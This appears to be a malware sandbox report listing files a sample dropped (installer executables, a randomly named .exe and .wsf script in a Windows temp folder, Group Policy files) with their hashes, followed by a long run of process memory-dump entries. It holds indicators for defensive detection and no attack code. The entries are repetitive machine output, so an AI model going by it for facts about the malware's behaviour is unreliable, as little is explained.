e238faea8bb903ecb35a03a9e6f4f31add345d2daa59824039bd5200b2e12b2f042baeb8e1a1e7d129f151c65bdbe1122b7fb21bfc6faad7b7a6bd9e4517f628

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize
7KB

MD5
62ca0d07fc4640d5c0540581fd260283

SHA1
911d276c8167a2f5dfc0d8f746d6f9925615d402

SHA256
981009169bc405e6ffec5bf07bacb0ea8ed65f68adbfb97bf6370b77afeb0bd3

SHA512
e238faea8bb903ecb35a03a9e6f4f31add345d2daa59824039bd5200b2e12b2f042baeb8e1a1e7d129f151c65bdbe1122b7fb21bfc6faad7b7a6bd9e4517f628

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize
7KB

MD5
eb8044e4d79af7269ca987842ac4d7c9

SHA1
0f8b1e26822870856aeadd5dad8a24c2ab22cbd8

SHA256
604cb98519dfd5a9d656d46a65fd4f0fb0c1e2e674472e80d55225b628d8b302

SHA512
3aef5c6e1786bc36bf1f06ca4fb386d4f6301567642bb20961622a35687478d61f34986450e51ef5fff89fd42e8e8a4ae4f7482879a3b0f06208575510fcd17e

Download Submit
C:\Windows\Temp\UIFvrSrxAzeYKEuX\VEdIRfVaNlgFjwC\rXdRXZw.exe
Filesize
6.9MB

MD5
2cbf7a5984ef2b3f36e26375ed9f8d12

SHA1
8aac7877150b79530bd87250a67685118a66b964

SHA256
06ff91645cc2c770e71f8c2fde6875296bec5ce0bceda64b34b09c2b0bed5b60

SHA512
e92a3a03bbf1622f950d57665339a9d73de98817335a6d6eac160b0d9365abb99ce71ca33cc670de343b13fcc5837613832e0d5223039c904b3e18835b8bc49b

Download Submit
C:\Windows\Temp\UIFvrSrxAzeYKEuX\VEdIRfVaNlgFjwC\rXdRXZw.exe
Filesize
6.9MB

MD5
2cbf7a5984ef2b3f36e26375ed9f8d12

SHA1
8aac7877150b79530bd87250a67685118a66b964

SHA256
06ff91645cc2c770e71f8c2fde6875296bec5ce0bceda64b34b09c2b0bed5b60

SHA512
e92a3a03bbf1622f950d57665339a9d73de98817335a6d6eac160b0d9365abb99ce71ca33cc670de343b13fcc5837613832e0d5223039c904b3e18835b8bc49b

Download Submit
C:\Windows\Temp\UIFvrSrxAzeYKEuX\jjHjxerq\nixwhbMlwWstWgGw.wsf
Filesize
8KB

MD5
e232fc6bda6f667e3a27f2d04b4ace08

SHA1
3a83117b185559fa0fb1b6e146d47536d2c26ce8

SHA256
7c2b51896073be3727c296e61d54886f085760e711f968ea1d492491fe9fcb86

SHA512
bf61d6b0fcc5731b66b1ac7398c549919222873e839acf91b15a0b3b26ca685a96e54fb85d3685f4e38727394201cbbfa466f4ebc52ce27ae003b538fa8bd379

Download Submit
C:\Windows\system32\GroupPolicy\Machine\Registry.pol
Filesize
5KB

MD5
af5a9b0cf67552db9b66a82d6d3fd4af

SHA1
dd4720be6c9cdad2c1f6b4e30e71d9b0acae67e5

SHA256
3645932a2885c6129467b5760fd211e021fbe3f4a9e34c620533ed54676e03ed

SHA512
c9284f6cbeecd01bd53dbf75e7ebdf16b6f124e000ca6b711996c1c887c2a33596b9084e81069c4da0c0bd14ac8907024ce2c400dd973af5c9c0e95c520213bb

Download Submit
C:\Windows\system32\GroupPolicy\gpt.ini
Filesize
268B

MD5
a62ce44a33f1c05fc2d340ea0ca118a4

SHA1
1f03eb4716015528f3de7f7674532c1345b2717d

SHA256
9f2cd4acf23d565bc8498c989fccccf59fd207ef8925111dc63e78649735404a

SHA512
9d9a4da2df0550afdb7b80be22c6f4ef7da5a52cc2bb4831b8ff6f30f0ee9eac8960f61cdd7cfe0b1b6534a0f9e738f7eb8ea3839d2d92abeb81660de76e7732

Download Submit
\Users\Admin\AppData\Local\Temp\7zSADA.tmp\Install.exe
Filesize
6.3MB

MD5
e60c51107adfeca90bde43deb57f4688

SHA1
f222c460fa96184bc2fe82e8e041eb6b12f8f5aa

SHA256
a17b2c41dd6b592f61f9e1d407854dfb1465c569cc44335b36c2cb2b84f17690

SHA512
2b2c4d493b11bbb654a706536a59e16a34e4ffc88458880b9b334d4a5782c5d2661b6c421e5d46bffc7938fe0dbb8450842d2182f5ccc6da471a3d2a48f80884

Download Submit
\Users\Admin\AppData\Local\Temp\7zSADA.tmp\Install.exe
Filesize
6.3MB

MD5
e60c51107adfeca90bde43deb57f4688

SHA1
f222c460fa96184bc2fe82e8e041eb6b12f8f5aa

SHA256
a17b2c41dd6b592f61f9e1d407854dfb1465c569cc44335b36c2cb2b84f17690

SHA512
2b2c4d493b11bbb654a706536a59e16a34e4ffc88458880b9b334d4a5782c5d2661b6c421e5d46bffc7938fe0dbb8450842d2182f5ccc6da471a3d2a48f80884

Download Submit
\Users\Admin\AppData\Local\Temp\7zSADA.tmp\Install.exe
Filesize
6.3MB

MD5
e60c51107adfeca90bde43deb57f4688

SHA1
f222c460fa96184bc2fe82e8e041eb6b12f8f5aa

SHA256
a17b2c41dd6b592f61f9e1d407854dfb1465c569cc44335b36c2cb2b84f17690

SHA512
2b2c4d493b11bbb654a706536a59e16a34e4ffc88458880b9b334d4a5782c5d2661b6c421e5d46bffc7938fe0dbb8450842d2182f5ccc6da471a3d2a48f80884

Download Submit
\Users\Admin\AppData\Local\Temp\7zSADA.tmp\Install.exe
Filesize
6.3MB

MD5
e60c51107adfeca90bde43deb57f4688

SHA1
f222c460fa96184bc2fe82e8e041eb6b12f8f5aa

SHA256
a17b2c41dd6b592f61f9e1d407854dfb1465c569cc44335b36c2cb2b84f17690

SHA512
2b2c4d493b11bbb654a706536a59e16a34e4ffc88458880b9b334d4a5782c5d2661b6c421e5d46bffc7938fe0dbb8450842d2182f5ccc6da471a3d2a48f80884

Download Submit
\Users\Admin\AppData\Local\Temp\7zSDE6.tmp\Install.exe
Filesize
6.9MB

MD5
2cbf7a5984ef2b3f36e26375ed9f8d12

SHA1
8aac7877150b79530bd87250a67685118a66b964

SHA256
06ff91645cc2c770e71f8c2fde6875296bec5ce0bceda64b34b09c2b0bed5b60

SHA512
e92a3a03bbf1622f950d57665339a9d73de98817335a6d6eac160b0d9365abb99ce71ca33cc670de343b13fcc5837613832e0d5223039c904b3e18835b8bc49b

Download Submit
\Users\Admin\AppData\Local\Temp\7zSDE6.tmp\Install.exe
Filesize
6.9MB

MD5
2cbf7a5984ef2b3f36e26375ed9f8d12

SHA1
8aac7877150b79530bd87250a67685118a66b964

SHA256
06ff91645cc2c770e71f8c2fde6875296bec5ce0bceda64b34b09c2b0bed5b60

SHA512
e92a3a03bbf1622f950d57665339a9d73de98817335a6d6eac160b0d9365abb99ce71ca33cc670de343b13fcc5837613832e0d5223039c904b3e18835b8bc49b

Download Submit
\Users\Admin\AppData\Local\Temp\7zSDE6.tmp\Install.exe
Filesize
6.9MB

MD5
2cbf7a5984ef2b3f36e26375ed9f8d12

SHA1
8aac7877150b79530bd87250a67685118a66b964

SHA256
06ff91645cc2c770e71f8c2fde6875296bec5ce0bceda64b34b09c2b0bed5b60

SHA512
e92a3a03bbf1622f950d57665339a9d73de98817335a6d6eac160b0d9365abb99ce71ca33cc670de343b13fcc5837613832e0d5223039c904b3e18835b8bc49b

Download Submit
\Users\Admin\AppData\Local\Temp\7zSDE6.tmp\Install.exe
Filesize
6.9MB

MD5
2cbf7a5984ef2b3f36e26375ed9f8d12

SHA1
8aac7877150b79530bd87250a67685118a66b964

SHA256
06ff91645cc2c770e71f8c2fde6875296bec5ce0bceda64b34b09c2b0bed5b60

SHA512
e92a3a03bbf1622f950d57665339a9d73de98817335a6d6eac160b0d9365abb99ce71ca33cc670de343b13fcc5837613832e0d5223039c904b3e18835b8bc49b

Download Submit
memory/268-93-0x0000000000000000-mapping.dmp

Download
memory/292-150-0x0000000000000000-mapping.dmp

Download
memory/428-153-0x0000000000000000-mapping.dmp

Download
memory/432-99-0x00000000028CB000-0x00000000028EA000-memory.dmp

Filesize
124KB

Download
memory/432-88-0x0000000000000000-mapping.dmp

Download
memory/432-96-0x00000000028C4000-0x00000000028C7000-memory.dmp

Filesize
12KB

Download
memory/432-95-0x000007FEF3C40000-0x000007FEF479D000-memory.dmp

Filesize
11.4MB

Download
memory/432-98-0x00000000028C4000-0x00000000028C7000-memory.dmp

Filesize
12KB

Download
memory/432-97-0x000000001B8B0000-0x000000001BBAF000-memory.dmp

Filesize
3.0MB

Download
memory/432-119-0x00000000028CB000-0x00000000028EA000-memory.dmp

Filesize
124KB

Download
memory/432-118-0x00000000028C4000-0x00000000028C7000-memory.dmp

Filesize
12KB

Download
memory/432-120-0x00000000028CB000-0x00000000028EA000-memory.dmp

Filesize
124KB

Download
memory/432-90-0x000007FEF47A0000-0x000007FEF51C3000-memory.dmp

Filesize
10.1MB

Download
memory/432-89-0x000007FEFC291000-0x000007FEFC293000-memory.dmp

Filesize
8KB

Download
memory/476-167-0x0000000000000000-mapping.dmp

Download
memory/476-149-0x0000000000000000-mapping.dmp

Download
memory/524-91-0x0000000000000000-mapping.dmp

Download
memory/572-161-0x0000000000000000-mapping.dmp

Download
memory/580-138-0x0000000000000000-mapping.dmp

Download
memory/584-168-0x0000000000000000-mapping.dmp

Download
memory/628-156-0x0000000000000000-mapping.dmp

Download
memory/676-160-0x0000000000000000-mapping.dmp

Download
memory/756-54-0x0000000075ED1000-0x0000000075ED3000-memory.dmp

Filesize
8KB

Download
memory/816-78-0x0000000000000000-mapping.dmp

Download
memory/848-56-0x0000000000000000-mapping.dmp

Download
memory/880-144-0x0000000000000000-mapping.dmp

Download
memory/896-129-0x0000000000000000-mapping.dmp

Download
memory/924-141-0x0000000000000000-mapping.dmp

Download
memory/924-176-0x0000000000000000-mapping.dmp

Download
memory/944-64-0x0000000000000000-mapping.dmp

Download
memory/944-73-0x0000000017580000-0x0000000018870000-memory.dmp

Filesize
18.9MB

Download
memory/948-186-0x000000000286B000-0x000000000288A000-memory.dmp

Filesize
124KB

Download
memory/948-181-0x000007FEF47A0000-0x000007FEF51C3000-memory.dmp

Filesize
10.1MB

Download
memory/948-182-0x000007FEF3C40000-0x000007FEF479D000-memory.dmp

Filesize
11.4MB

Download
memory/948-183-0x0000000002864000-0x0000000002867000-memory.dmp

Filesize
12KB

Download
memory/948-184-0x000000000286B000-0x000000000288A000-memory.dmp

Filesize
124KB

Download
memory/948-185-0x0000000002864000-0x0000000002867000-memory.dmp

Filesize
12KB

Download
memory/976-121-0x0000000000000000-mapping.dmp

Download
memory/980-175-0x0000000000000000-mapping.dmp

Download
memory/1008-173-0x0000000000000000-mapping.dmp

Download
memory/1008-82-0x0000000000000000-mapping.dmp

Download
memory/1056-140-0x0000000000000000-mapping.dmp

Download
memory/1064-165-0x0000000000000000-mapping.dmp

Download
memory/1084-80-0x0000000000000000-mapping.dmp

Download
memory/1116-127-0x0000000000000000-mapping.dmp

Download
memory/1148-75-0x0000000000000000-mapping.dmp

Download
memory/1152-155-0x0000000000000000-mapping.dmp

Download
memory/1168-169-0x0000000000000000-mapping.dmp

Download
memory/1180-162-0x0000000000000000-mapping.dmp

Download
memory/1196-130-0x0000000000000000-mapping.dmp

Download
memory/1196-139-0x000000000283B000-0x000000000285A000-memory.dmp

Filesize
124KB

Download
memory/1196-134-0x000007FEF3CD0000-0x000007FEF482D000-memory.dmp

Filesize
11.4MB

Download
memory/1196-136-0x0000000002834000-0x0000000002837000-memory.dmp

Filesize
12KB

Download
memory/1196-137-0x000000000283B000-0x000000000285A000-memory.dmp

Filesize
124KB

Download
memory/1196-135-0x000000001B700000-0x000000001B9FF000-memory.dmp

Filesize
3.0MB

Download
memory/1200-143-0x0000000000000000-mapping.dmp

Download
memory/1216-154-0x0000000000000000-mapping.dmp

Download
memory/1272-114-0x000007FEF47A0000-0x000007FEF51C3000-memory.dmp

Filesize
10.1MB

Download
memory/1272-116-0x00000000027C4000-0x00000000027C7000-memory.dmp

Filesize
12KB

Download
memory/1272-117-0x00000000027CB000-0x00000000027EA000-memory.dmp

Filesize
124KB

Download
memory/1272-115-0x000007FEF3C40000-0x000007FEF479D000-memory.dmp

Filesize
11.4MB

Download
memory/1272-122-0x00000000027CB000-0x00000000027EA000-memory.dmp

Filesize
124KB

Download
memory/1272-163-0x0000000000000000-mapping.dmp

Download
memory/1272-111-0x0000000000000000-mapping.dmp

Download
memory/1288-178-0x0000000000000000-mapping.dmp

Download
memory/1348-142-0x0000000000000000-mapping.dmp

Download
memory/1376-84-0x0000000000000000-mapping.dmp

Download
memory/1488-201-0x0000000017AD0000-0x0000000017B3C000-memory.dmp

Filesize
432KB

Download
memory/1488-197-0x00000000176B0000-0x0000000017735000-memory.dmp

Filesize
532KB

Download
memory/1488-191-0x0000000015CA0000-0x0000000016F90000-memory.dmp

Filesize
18.9MB

Download
memory/1488-147-0x0000000000000000-mapping.dmp

Download
memory/1488-125-0x0000000000000000-mapping.dmp

Download
memory/1492-105-0x0000000015E40000-0x0000000017130000-memory.dmp

Filesize
18.9MB

Download
memory/1492-102-0x0000000000000000-mapping.dmp

Download
memory/1496-86-0x0000000000000000-mapping.dmp

Download
memory/1520-164-0x0000000000000000-mapping.dmp

Download
memory/1616-100-0x0000000000000000-mapping.dmp

Download
memory/1624-170-0x0000000000000000-mapping.dmp

Download
memory/1660-171-0x0000000000000000-mapping.dmp

Download
memory/1692-126-0x0000000000000000-mapping.dmp

Download
memory/1700-124-0x0000000000000000-mapping.dmp

Download
memory/1712-145-0x0000000000000000-mapping.dmp

Download
memory/1716-110-0x0000000000000000-mapping.dmp

Download
memory/1788-146-0x0000000000000000-mapping.dmp

Download
memory/1808-174-0x0000000000000000-mapping.dmp

Download
memory/1832-158-0x0000000000000000-mapping.dmp

Download
memory/1884-74-0x0000000000000000-mapping.dmp

Download
memory/1916-166-0x0000000000000000-mapping.dmp

Download
memory/1936-109-0x0000000000000000-mapping.dmp

Download
memory/1940-172-0x0000000000000000-mapping.dmp

Download
memory/1944-177-0x0000000000000000-mapping.dmp

Download
memory/1952-123-0x0000000000000000-mapping.dmp

Download
memory/1972-159-0x0000000000000000-mapping.dmp

Download
memory/1992-148-0x0000000000000000-mapping.dmp

Download
memory/1996-157-0x0000000000000000-mapping.dmp

Download
memory/2024-128-0x0000000000000000-mapping.dmp

Download